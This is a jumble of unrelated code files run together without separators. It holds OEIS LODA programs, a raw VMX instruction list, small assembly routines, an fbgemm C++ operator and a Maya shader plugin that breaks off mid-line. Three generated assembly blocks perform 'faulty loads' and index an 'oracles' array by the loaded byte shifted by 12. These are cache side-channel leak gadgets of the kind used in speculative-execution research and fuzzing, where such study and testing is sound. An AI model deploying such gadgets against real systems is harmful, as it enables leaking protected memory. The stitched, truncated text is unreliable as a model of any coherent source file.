; A267673: Triangle read by rows giving successive states of cellular automaton generated by "Rule 195" initiated with a single ON (black) cell. ; 1,1,0,0,1,1,0,1,0,1,1,1,0,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0 max $0,1 seq $0,75438 ; Triangle read by rows giving successive iterations of the Rule 60 elementary cellular automaton starting with a single ON cell where row n is of length 2n+1. add $0,1 mod $0,2
bits 64 vmcall vmfunc vmlaunch vmresume vmxoff vmread rax, rcx vmwrite rsp, [edi] vmptrld [rsp + 0x100] vmptrst [edi] vmclear [rax + rcx * 8] vmxon [0x1000] invept rax, [rsi] invvpid rdx, [rsp]
; A303305: Generalized 17-gonal (or heptadecagonal) numbers: m*(15*m - 13)/2 with m = 0, +1, -1, +2, -2, +3, -3, ... ; 0,1,14,17,43,48,87,94,146,155,220,231,309,322,413,428,532,549,666,685,815,836,979,1002,1158,1183,1352,1379,1561,1590,1785,1816,2024,2057,2278,2313,2547,2584,2831,2870,3130,3171,3444,3487,3773,3818,4117,4164,4476,4525,4850,4901,5239,5292,5643,5698,6062,6119,6496,6555,6945,7006,7409,7472,7888,7953,8382,8449,8891,8960,9415,9486,9954,10027,10508,10583,11077,11154,11661,11740,12260,12341,12874,12957,13503,13588,14147,14234,14806,14895,15480,15571,16169,16262,16873,16968,17592,17689,18326,18425 seq $0,248474 ; Numbers congruent to 13 or 17 mod 30. pow $0,2 sub $0,169 div $0,120
; A225051: Numbers of the form x^3 + SumOfCubedDigits(x). ; 0,2,16,54,128,250,432,686,1024,1458,1001,1333,1737,2225,2809,3501,4313,5257,6345,7589,8008,9270,10664,12202,13896,15758,17800,20034,22472,25126,27027,29819,32803,35991,39395,43027,46899,51023,55411,60075,64064,68986 mov $5,$0 lpb $0 mov $2,$0 div $0,10 mod $2,10 pow $2,3 add $4,$2 lpe mov $1,$4 mov $3,$5 mul $3,$5 mul $3,$5 add $1,$3 mov $0,$1
.global s_prepare_buffers s_prepare_buffers: push %r8 push %rax push %rdx push %rsi lea addresses_A_ht+0x14e2, %r8 nop nop nop nop nop and %rsi, %rsi movups (%r8), %xmm1 vpextrq $1, %xmm1, %rdx nop nop nop nop and %rax, %rax pop %rsi pop %rdx pop %rax pop %r8 ret .global s_faulty_load s_faulty_load: push %r11 push %r8 push %rax push %rbx push %rdi push %rdx push %rsi // Load mov $0x5821200000000b62, %rdx nop nop add $14464, %r8 mov (%rdx), %si nop nop nop xor %rax, %rax // Store lea addresses_UC+0x33a2, %r8 nop nop nop nop xor %rdi, %rdi mov $0x5152535455565758, %rdx movq %rdx, (%r8) sub %rdx, %rdx // Faulty Load lea addresses_WT+0xee62, %rax nop nop nop and $4330, %r11 movntdqa (%rax), %xmm4 vpextrq $1, %xmm4, %r8 lea oracles, %rbx and $0xff, %r8 shlq $12, %r8 mov (%rbx,%r8,1), %r8 pop %rsi pop %rdx pop %rdi pop %rbx pop %rax pop %r8 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_NC', 'AVXalign': True, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}} [Faulty Load] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'45': 2, '00': 3} 00 45 00 00 45 */
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x8656, %rsi lea addresses_WT_ht+0x596, %rdi and $40926, %r12 mov $55, %rcx rep movsq nop nop nop nop nop xor %r12, %r12 lea addresses_WT_ht+0x78d6, %r8 nop nop nop nop cmp %r15, %r15 mov (%r8), %si nop nop inc %rdi lea addresses_UC_ht+0x1801e, %rsi lea addresses_UC_ht+0x4ad6, %rdi nop nop nop nop and %rdx, %rdx mov $62, %rcx rep movsl nop nop nop xor %rdx, %rdx lea addresses_WC_ht+0x27d6, %rsi lea addresses_WT_ht+0x13fae, %rdi and %rbx, %rbx mov $39, %rcx rep movsq nop nop nop cmp %r12, %r12 lea addresses_WT_ht+0x181d6, %rdx nop sub %r8, %r8 mov $0x6162636465666768, %rdi movq %rdi, (%rdx) add $33504, %r12 lea addresses_UC_ht+0x1908e, %rcx nop cmp $38016, %r15 mov (%rcx), %ebx nop nop nop nop nop cmp $39728, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %rbp push %rbx push %rdi push %rsi // Store lea addresses_RW+0x2fd6, %rbx cmp $56375, %r12 mov $0x5152535455565758, %r11 movq %r11, (%rbx) cmp %rsi, %rsi // Store lea addresses_WC+0x41e6, %rsi nop cmp $1356, %rbp mov $0x5152535455565758, %r12 movq %r12, (%rsi) nop nop add $23794, %rdi // Store lea addresses_UC+0xbbd6, %rbp nop nop nop xor %r10, %r10 mov $0x5152535455565758, %r12 movq %r12, (%rbp) nop nop nop cmp %rbp, %rbp // Store mov $0x4d6, %rbp nop and $36179, %r11 mov $0x5152535455565758, %rdi movq %rdi, %xmm6 vmovntdq %ymm6, (%rbp) add $33992, %r12 // Store lea addresses_PSE+0x9329, %rdi nop xor $8437, %r10 mov $0x5152535455565758, %rbx movq %rbx, %xmm6 movaps %xmm6, (%rdi) and %rbx, %rbx // Load lea addresses_WT+0x986, %rsi nop nop add %rbp, %rbp mov (%rsi), %r11w nop nop nop add $24530, %r11 // Store lea addresses_normal+0x5336, %rdi nop nop xor %r11, %r11 mov $0x5152535455565758, %r12 movq %r12, (%rdi) nop cmp $37188, %rsi // Faulty Load lea addresses_RW+0x2fd6, %r10 nop nop xor %rsi, %rsi movb (%r10), %bl lea oracles, %r12 and $0xff, %rbx shlq $12, %rbx mov (%r12,%rbx,1), %rbx pop %rsi pop %rdi pop %rbx pop %rbp pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': True, 'NT': True, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': True, 'NT': True, 'congruent': 3, 'same': True}} {'58': 76} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
SECTION code_fp_math48 PUBLIC mm48__acsqr2_2 mm48__acsqr2_2: ; set AC = sqr(2)/2 ld bc,$3504 ld de,$F333 ld hl,$FB80 ret
/* * Copyright (c) Facebook, Inc. and its affiliates. * All rights reserved. * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. */ #include <ATen/ATen.h> #include <ATen/core/op_registration/op_registration.h> #include <torch/library.h> #include "ATen/Parallel.h" #include "fbgemm_gpu/sparse_ops_utils.h" namespace at { namespace fbgemm { Tensor recat_embedding_grad_output_mixed_D_cpu( const Tensor& grad_output, // [B_local][Sum_T_global(D)] const std::vector<int64_t>& dim_sum_per_rank) { TORCH_CHECK(grad_output.is_contiguous()); const auto B_local = grad_output.sizes()[0]; Tensor sharded_grad_output = at::empty({grad_output.numel()}, grad_output.options()); int n = dim_sum_per_rank.size(); std::vector<int64_t> accum_dim_sum(n + 1); accum_dim_sum[0] = 0; std::partial_sum( dim_sum_per_rank.begin(), dim_sum_per_rank.end(), &accum_dim_sum[1]); const auto global_dim_sum = accum_dim_sum[n]; TORCH_CHECK(B_local * global_dim_sum == grad_output.numel()); AT_DISPATCH_FLOATING_TYPES_AND_HALF( grad_output.type(), "recat_embedding_gradients", ([&] { const auto go = grad_output.accessor<scalar_t, 2>(); auto sgo = sharded_grad_output.accessor<scalar_t, 1>(); at::parallel_for( 0, n * B_local, 1, [&](int64_t i_begin, int64_t i_end) { const auto dim_begin = i_begin / B_local; const auto dim_end = (i_end + B_local - 1) / B_local; for (const auto dim : c10::irange(dim_begin, dim_end)) { const auto dim_sum = dim_sum_per_rank[dim]; const auto sgo_offset = B_local * accum_dim_sum[dim]; scalar_t* dst = &sgo[sgo_offset]; const scalar_t* src = &go[0][accum_dim_sum[dim]]; const auto r_begin = (dim == dim_begin) ? i_begin % B_local : 0; const auto r_end = (dim == dim_end - 1 && i_end % B_local != 0) ? i_end % B_local : B_local; for (const auto r : c10::irange(r_begin, r_end)) { memcpy( dst + r * dim_sum, src + r * global_dim_sum, dim_sum * sizeof(scalar_t)); } } }); })); return sharded_grad_output; } } // namespace fbgemm } // namespace at TORCH_LIBRARY_FRAGMENT(fbgemm, m) { m.def( "recat_embedding_grad_output_mixed_D_batch(Tensor grad_output, Tensor dim_sum_per_rank, Tensor cumsum_dim_sum_per_rank) -> Tensor"); m.def( "recat_embedding_grad_output_mixed_D(Tensor grad_output, int[] dim_sum_per_rank) -> Tensor"); m.def( "recat_embedding_grad_output(Tensor grad_output, int[] num_features_per_rank) -> Tensor"); } TORCH_LIBRARY_IMPL(fbgemm, CPU, m) { m.impl( "recat_embedding_grad_output_mixed_D", at::fbgemm::recat_embedding_grad_output_mixed_D_cpu); }
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; ReadCr2.Asm ; ; Abstract: ; ; AsmReadCr2 function ; ; Notes: ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; UINTN ; EFIAPI ; AsmReadCr2 ( ; VOID ; ); ;------------------------------------------------------------------------------ global ASM_PFX(AsmReadCr2) ASM_PFX(AsmReadCr2): mov eax, cr2 ret
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r15 push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0x1bb42, %r15 sub $63749, %r14 mov (%r15), %r13 sub %rcx, %rcx lea addresses_WT_ht+0xf27a, %rsi lea addresses_normal_ht+0x16356, %rdi clflush (%rsi) nop nop nop sub %rbp, %rbp mov $78, %rcx rep movsq nop nop nop nop dec %rdi lea addresses_D_ht+0x726, %r15 and $14507, %rcx movw $0x6162, (%r15) nop nop add %rcx, %rcx lea addresses_WT_ht+0x166ea, %rsi lea addresses_A_ht+0x5c2a, %rdi cmp $48961, %r15 mov $67, %rcx rep movsb nop nop nop nop xor $13917, %rdi lea addresses_UC_ht+0x1aa2a, %rdi nop nop nop nop nop sub %r13, %r13 mov (%rdi), %si nop and $39765, %rcx lea addresses_normal_ht+0x154da, %r14 nop nop nop xor %rdi, %rdi movb (%r14), %r13b nop nop nop nop nop cmp $23694, %rcx lea addresses_normal_ht+0x31d6, %rsi lea addresses_WT_ht+0x1a0fa, %rdi clflush (%rsi) nop nop nop nop nop sub $7917, %r10 mov $77, %rcx rep movsl nop nop nop and $16329, %r14 lea addresses_WT_ht+0x785a, %r13 nop nop sub %rdi, %rdi mov (%r13), %rcx nop nop nop nop sub $57642, %r15 lea addresses_D_ht+0xff0e, %rcx nop nop nop inc %r15 mov (%rcx), %r14 nop nop nop nop nop cmp $7629, %rdi lea addresses_UC_ht+0x18316, %rbp nop nop nop nop nop cmp $18088, %rdi mov (%rbp), %ecx nop nop nop sub $7886, %r10 pop %rsi pop %rdi pop %rcx pop %rbp pop %r15 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r9 push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_A+0xe87a, %rsi lea addresses_D+0x693a, %rdi nop nop nop nop cmp %r14, %r14 mov $26, %rcx rep movsw nop nop nop sub $25804, %r10 // Store lea addresses_WT+0x607a, %r10 clflush (%r10) nop nop nop nop and %r9, %r9 movb $0x51, (%r10) nop xor %rdx, %rdx // Store mov $0x5ddb55000000007a, %rsi nop nop nop nop nop cmp %r14, %r14 mov $0x5152535455565758, %r9 movq %r9, (%rsi) nop nop nop nop sub %rdi, %rdi // Faulty Load lea addresses_WT+0x607a, %rcx nop nop nop nop nop and %rdi, %rdi mov (%rcx), %rdx lea oracles, %r9 and $0xff, %rdx shlq $12, %rdx mov (%r9,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_A'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_D'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_WT'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_NC'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': True, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'58': 250} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
section .data ivalue dq 0xAA fvalue dd 3.14159 section .bss section .text global func_i func_i: mov rax, [ivalue] ret global func_f func_f: movss xmm0, dword[fvalue] ret
; A060656: a(n) = 2*a(n-1)*a(n-2)/a(n-3), with a(0)=a(1)=1. ; 1,1,2,4,16,64,512,4096,65536,1048576,33554432,1073741824,68719476736,4398046511104,562949953421312,72057594037927936,18446744073709551616,4722366482869645213696,2417851639229258349412352,1237940039285380274899124224,1267650600228229401496703205376,1298074214633706907132624082305024 pow $0,2 div $0,4 mov $1,2 pow $1,$0 mov $0,$1
//- // ========================================================================== // Copyright 1995,2006,2008 Autodesk, Inc. All rights reserved. // // Use of this software is subject to the terms of the Autodesk // license agreement provided at the time of installation or download, // or which otherwise accompanies this software in either electronic // or hard copy form. // ========================================================================== //+ #include <math.h> #include <maya/MPxNode.h> #include <maya/MIOStream.h> #include <maya/MString.h> #include <maya/MTypeId.h> #include <maya/MPlug.h> #include <maya/MDataBlock.h> #include <maya/MDataHandle.h> #include <maya/MArrayDataHandle.h> #include <maya/MFnNumericAttribute.h> #include <maya/MFnLightDataAttribute.h> #include <maya/MFloatVector.h> #include <maya/MFnPlugin.h> // // DESCRIPTION: /////////////////////////////////////////////////////// class BackNode : public MPxNode { public: BackNode(); virtual ~BackNode(); virtual MStatus compute( const MPlug&, MDataBlock& ); virtual void postConstructor(); static void * creator(); static MStatus initialize(); // Id tag for use with binary file format static MTypeId id; private: static MObject aTranslucenceCoeff; static MObject aDiffuseReflectivity; static MObject aColor; static MObject aBackColor; static MObject aBoost; static MObject aIncandescence; static MObject aOutColor; static MObject aPointCamera; static MObject aNormalCamera; static MObject aLightDirection; static MObject aLightIntensity; static MObject aPower; static MObject aSpecularity; static MObject aThreshold; // for backfill percentage static MObject aLightAmbient; static MObject aLightDiffuse; static MObject aLightSpecular; static MObject aLightShadowFraction; static MObject aPreShadowIntensity; static MObject aLightBlindData; static MObject aLightData; }; MTypeId BackNode::id( 0x81003 ); MObject BackNode::aTranslucenceCoeff; MObject BackNode::aBackColor; MObject BackNode::aBoost; MObject BackNode::aDiffuseReflectivity; MObject BackNode::aColor; MObject BackNode::aIncandescence; MObject BackNode::aOutColor; MObject BackNode::aPointCamera; MObject BackNode::aNormalCamera; MObject BackNode::aLightData; MObject BackNode::aLightDirection; MObject BackNode::aLightIntensity; MObject BackNode::aLightAmbient; MObject BackNode::aLightDiffuse; MObject BackNode::aLightSpecular; MObject BackNode::aThreshold; MObject BackNode::aLightShadowFraction; MObject BackNode::aPreShadowIntensity; MObject BackNode::aLightBlindData; MObject BackNode::aPower; MObject BackNode::aSpecularity; #define MAKE_INPUT(attr) \ CHECK_MSTATUS( attr.setKeyable(true) ) ; \ CHECK_MSTATUS( attr.setStorable(true) ); \ CHECK_MSTATUS( attr.setReadable(true) ); \ CHECK_MSTATUS( attr.setWritable(true) ); #define MAKE_OUTPUT(attr) \ CHECK_MSTATUS( attr.setKeyable(false) ); \ CHECK_MSTATUS( attr.setStorable(false) ); \ CHECK_MSTATUS( attr.setReadable(true) ); \ CHECK_MSTATUS( attr.setWritable(false) ); void BackNode::postConstructor( ) { setMPSafe(true); } // // DESCRIPTION: /////////////////////////////////////////////////////// BackNode::BackNode() { } // // DESCRIPTION: /////////////////////////////////////////////////////// BackNode::~BackNode() { } // // DESCRIPTION: /////////////////////////////////////////////////////// void * BackNode::creator() { return new BackNode(); } // // DESCRIPTION: /////////////////////////////////////////////////////// MStatus BackNode::initialize() { MFnNumericAttribute nAttr; MFnLightDataAttribute lAttr; aColor = nAttr.createColor( "color", "c" ); MAKE_INPUT(nAttr); CHECK_MSTATUS( nAttr.setDefault(0.0f, 0.58824f, 0.644f) ); aBackColor = nAttr.createColor( "backColor", "bc" ); MAKE_INPUT(nAttr); CHECK_MSTATUS( nAttr.setDefault(1.0f, 1.0f, 1.0f) ); aThreshold = nAttr.create( "threshold", "thr", MFnNumericData::kFloat); MAKE_INPUT(nAttr); CHECK_MSTATUS( nAttr.setDefault(0.2f) ); CHECK_MSTATUS( nAttr.setMin(0.0f) ); CHECK_MSTATUS( nAttr.setMax(1.0f) ); aBoost = nAttr.create( "boost", "boo", MFnNumericData::kFloat); MAKE_INPUT(nAttr); CHECK_MSTATUS( nAttr.setDefault(2.0f) ); CHECK_MSTATUS( nAttr.setMin(0.0f) ); CHECK_MSTATUS( nAttr.setMax(5.0f) ); aIncandescence = nAttr.createColor( "incandescence","ic" ); MAKE_INPUT(nAttr); aTranslucenceCoeff = nAttr.create("translucenceCoeff", "tc", MFnNumericData::kFloat); MAKE_INPUT(nAttr); CHECK_MSTATUS( nAttr.setMin(0.0f) ); CHECK_MSTATUS( nAttr.setMax(1.0f) ); aDiffuseReflectivity = nAttr.create("diffuseReflectivity", "drfl", MFnNumericData::kFloat); MAKE_INPUT(nAttr); CHECK_MSTATUS( nAttr.setMin(0.0f) ); CHECK_MSTATUS( nAttr.setMax(1.0f) ); CHECK_MSTATUS( nAttr.setDefault(0.8f) ); aOutColor = nAttr.createColor( "outColor", "oc" ); MAKE_OUTPUT(nAttr); aPointCamera = nAttr.createPoint( "pointCamera", "pc" ); MAKE_INPUT(nAttr); CHECK_MSTATUS( nAttr.setDefault(1.0f, 1.0f, 1.0f) ); CHECK_MSTATUS( nAttr.setHidden(true) ); aPower = nAttr.create( "power", "pow", MFnNumericData::kFloat); MAKE_INPUT(nAttr); CHECK_MSTATUS( nAttr.setMin(0.0f) ); CHECK_MSTATUS( nAttr.setMax(200.0f) ); CHECK_MSTATUS( nAttr.setDefault(10.0f) ); aSpecularity = nAttr.create( "specularity", "spc", MFnNumericData::kFloat); MAKE_INPUT(nAttr); CHECK_MSTATUS( nAttr.setMin(0.0f) ); CHECK_MSTATUS( nAttr.setMax(1.0f) ); CHECK_MSTATUS( nAttr.setDefault(0.5f) ); aNormalCamera = nAttr.createColor( "normalCamera", "n" ); MAKE_INPUT(nAttr); CHECK_MSTATUS( nAttr.setHidden(true) ); aLightDirection = nAttr.createPoint( "lightDirection", "ld" ); CHECK_MSTATUS ( nAttr.setStorable(false) ); CHECK_MSTATUS ( nAttr.setHidden(true) ); CHECK_MSTATUS ( nAttr.setReadable(true) ); CHECK_MSTATUS ( nAttr.setWritable(false) ); aLightIntensity = nAttr.createColor( "lightIntensity", "li" ); CHECK_MSTATUS ( nAttr.setStorable(false) ); CHECK_MSTATUS ( nAttr.setHidden(true) ); CHECK_MSTATUS ( nAttr.setReadable(true) ); CHECK_MSTATUS ( nAttr.setWritable(false) ); CHECK_MSTATUS( nAttr.setDefault(1.0f, 1.0f, 1.0f) ); aLightAmbient = nAttr.create( "lightAmbient", "la", MFnNumericData::kBoolean); CHECK_MSTATUS ( nAttr.setStorable(false) ); CHECK_MSTATUS ( nAttr.setHidden(true) ); CHECK_MSTATUS ( nAttr.setReadable(true) ); CHECK_MSTATUS ( nAttr.setWritable(false) ); aLightDiffuse = nAttr.create( "lightDiffuse", "ldf", MFnNumericData::kBoolean); CHECK_MSTATUS ( nAttr.setStorable(false) ); CHECK_MSTATUS ( nAttr.setHidden(true) ); CHECK_MSTATUS ( nAttr.setReadable(true) ); CHECK_MSTATUS ( nAttr.setWritable(false) ); aLightSpecular = nAttr.create( "lightSpecular", "ls", MFnNumericData::kBoolean); CHECK_MSTATUS ( nAttr.setStorable(false) ); CHECK_MSTATUS ( nAttr.setHidden(true) ); CHECK_MSTATUS ( nAttr.setReadable(true) ); CHECK_MSTATUS ( nAttr.setWritable(false) ); aLightShadowFraction = nAttr.create("lightShadowFraction", "lsf", MFnNumericData::kFloat); CHECK_MSTATUS ( nAttr.setStorable(false) ); CHECK_MSTATUS ( nAttr.setHidden(true) ); CHECK_MSTATUS ( nAttr.setReadable(true) ); CHECK_MSTATUS ( nAttr.setWritable(false) ); aPreShadowIntensity = nAttr.create("preShadowIntensity", "psi", MFnNumericData::kFloat); CHECK_MSTATUS ( nAttr.setStorable(false) ); CHECK_MSTATUS ( nAttr.setHidden(true) ); CHECK_MSTATUS ( nAttr.setReadable(true) ); CHECK_MSTATUS ( nAttr.setWritable(false) ); aLightBlindData = nAttr.createAddr("lightBlindData", "lbld"); CHECK_MSTATUS ( nAttr.setStorable(false) ); CHECK_MSTATUS ( nAttr.setHidden(true) ); CHECK_MSTATUS ( nAttr.setReadable(true) ); CHECK_MSTATUS ( nAttr.setWritable(false) ); aLightData = lAttr.create( "lightDataArray", "ltd", aLightDirection, aLightIntensity, aLightAmbient, aLightDiffuse, aLightSpecular, aLightShadowFraction, aPreShadowIntensity, aLightBlindData); CHECK_MSTATUS( lAttr.setArray(true) ); CHECK_MSTATUS( lAttr.setStorable(false) ); CHECK_MSTATUS( lAttr.setHidden(true) ); CHECK_MSTATUS( lAttr.setDefault(0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, true, true, false, 0.0f, 1.0f, NULL) ); CHECK_MSTATUS( addAttribute(aTranslucenceCoeff) ); CHECK_MSTATUS( addAttribute(aDiffuseReflectivity) ); CHECK_MSTATUS( addAttribute(aColor) ); CHECK_MSTATUS( addAttribute(aIncandescence) ); CHECK_MSTATUS( addAttribute(aPointCamera) ); CHECK_MSTATUS( addAttribute(aNormalCamera) ); // Only add the parent of the compound CHECK_MSTATUS( addAttribute(aLightData) ); CHECK_MSTATUS( addAttribute(aPower) ); CHECK_MSTATUS( addAttribute(aSpecularity) ); CHECK_MSTATUS( addAttribute(aOutColor) ); CHECK_MSTATUS( addAttribute(aBackColor) ); CHECK_MSTATUS( addAttribute(aThreshold) ); CHECK_MSTATUS( addAttribute(aBoost) ); CHECK_MSTATUS( attributeAffects (aTranslucenceCoeff, aOutColor) ); CHECK_MSTATUS( attributeAffects (aDiffuseReflectivity, aOutColor) ); CHECK_MSTATUS( attributeAffects (aLightIntensity, aOutColor) ); CHECK_MSTATUS( attributeAffects (aIncandescence, aOutColor) ); CHECK_MSTATUS( attributeAffects (aPointCamera, aOutColor) ); CHECK_MSTATUS( attributeAffects (aNormalCamera, aOutColor) ); CHECK_MSTATUS( attributeAffects (aLightData, aOutColor) ); CHECK_MSTATUS( attributeAffects (aLightAmbient, aOutColor) ); CHECK_MSTATUS( attributeAffects (aLightSpecular, aOutColor) ); CHECK_MSTATUS( attributeAffects (aLightDiffuse, aOutColor) ); CHECK_MSTATUS( attributeAffects (aLightDirection, aOutColor) ); CHECK_MSTATUS( attributeAffects (aLightShadowFraction, aOutColor) ); CHECK_MSTATUS( attributeAffects (aPreShadowIntensity, aOutColor) ); CHECK_MSTATUS( attributeAffects (aLightBlindData, aOutColor) ); CHECK_MSTATUS( attributeAffects (aPower, aOutColor) ); CHECK_MSTATUS( attributeAffects (aSpecularity, aOutColor) ); CHECK_MSTATUS( attributeAffects (aColor, aOutColor) ); CHECK_MSTATUS( attributeAffects (aBackColor, aOutColor) ); CHECK_MSTATUS( attributeAffects (aThreshold, aOutColor) ); CHECK_MSTATUS( attributeAffects (aBoost, aOutColor) ); return MS::kSuccess; } // // DESCRIPTION: /////////////////////////////////////////////////////// MStatus BackNode::compute(const MPlug& plug, MDataBlock& block) { // outColor or individual R, G, B channel, or alpha if ((plug != aOutColor) && (plug.parent() != aOutColor)) return MS::kUnknownParameter; MFloatVector resultColor(0.0,0.0,0.0); // get sample surface shading parameters MFloatVector& surfaceNormal = block.inputValue( aNormalCamera ).asFloatVector(); MFloatVector& cameraPosition = block.inputValue( aPointCamera 